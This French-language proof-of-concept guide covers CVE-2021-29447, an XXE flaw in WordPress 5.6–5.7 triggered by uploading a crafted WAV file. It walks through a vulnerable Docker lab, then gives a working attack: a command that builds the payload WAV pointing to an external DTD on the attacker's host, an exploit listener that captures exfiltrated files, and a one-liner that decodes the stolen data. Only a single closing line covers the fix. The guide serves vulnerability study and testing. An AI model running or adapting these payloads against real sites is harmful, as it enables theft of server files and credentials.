
Preuve de concept pour CVE-2021-29447, une vulnérabilité d'injection XXE dans WordPress 5.6–5.7 via le téléchargement d'un fichier WAV malveillant, permettant la divulgation arbitraire de fichiers sur PHP 8.0+.
CVE-2021-29447 est une vulnérabilité d'injection XML External Entity (XXE) affectant les versions 5.6 à 5.7 de WordPress (corrigée dans la 5.7.1) lors de l'exécution de PHP 8.0+. La vulnérabilité réside dans la bibliothèque getID3 utilisée pour l'analyse des métadonnées multimédias.
WordPress traite les chunks iXML des fichiers WAV via getID3, qui appelle simplexml_load_string() avec le drapeau LIBXML_NOENT. Ce drapeau active explicitement la substitution d'entités externes, contournant les protections XXE par défaut de PHP 8 (obsolète libxml_disable_entity_loader()).
Cette preuve de concept démontre la vulnérabilité en utilisant WordPress 5.7 Dockerisé + PHP 8.0.3. Les utilisateurs Linux peuvent utiliser un script mono-fichier qui génère également les fichiers WAV/DTD.
▶️: https://youtu.be/YnGowuWHFyY
Installer Docker Desktop sur l'hôte Windows
Créer un répertoire de projet dédié (toutes les commandes PowerShell s'exécutent ici) :
#powershell
mkdir cve-2021-29447-poc
cd cve-2021-29447-poc
Déployer WordPress vulnérable :
#powershell
notepad docker-compose.yml
Copier et coller le contenu de docker-compose.yml
Démarrer les conteneurs :
#powershell
docker-compose up -d
Désactiver les mises à jour automatiques (critique pour la persistance de la vulnérabilité) :
#powershell
docker-compose exec wordpress bash
#bash
sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
tail -5 /var/www/html/wp-config-sample.php
exit
Vérifier les versions vulnérables :
#powershell
docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
Attendu : WordPress 5.7, PHP 8.0+
Installation de WordPress :
Naviguer : http://localhost:8080
Administrateur : test / test / [email protected]
Terminer l'installation → Accéder à /wp-admin
Découverte de l'IP de l'attaquant :
#powershell
ipconfig | findstr IPv4
Noter votre IP (ex. 192.168.1.196)
Créer la charge utile DTD :
#powershell
notepad evil.dtd
Copier et coller le contenu de evil.dtd
Générer la charge utile WAV (CLI Linux) :
#bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Transférer via python3 -m http.server 8000 → téléchargement dans le navigateur Windows (ex. http://<VM_IP>:8000)
Note : Le fichier WAV est créé séparément en raison de la complexité d'échappement binaire dans les environnements Windows
Déployer le serveur d'exploit :
#powershell
notepad exploit.py
Copier et coller le contenu de exploit.py
Commande :
#powershell
python exploit.py -l YOUR_IP -p PORT
Déclencher l'XXE :
http://localhost:8080/wp-admin → Media → Ajouter un fichier
Télécharger payload.wav
Surveiller la console du serveur Python → capturer les données exfiltrées
Décoder la charge utile Base64+Zlib :
#powershell
$bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
Mettez à jour vers WordPress 5.7.1+ ou désactivez LIBXML_NOENT dans l'analyse getID3.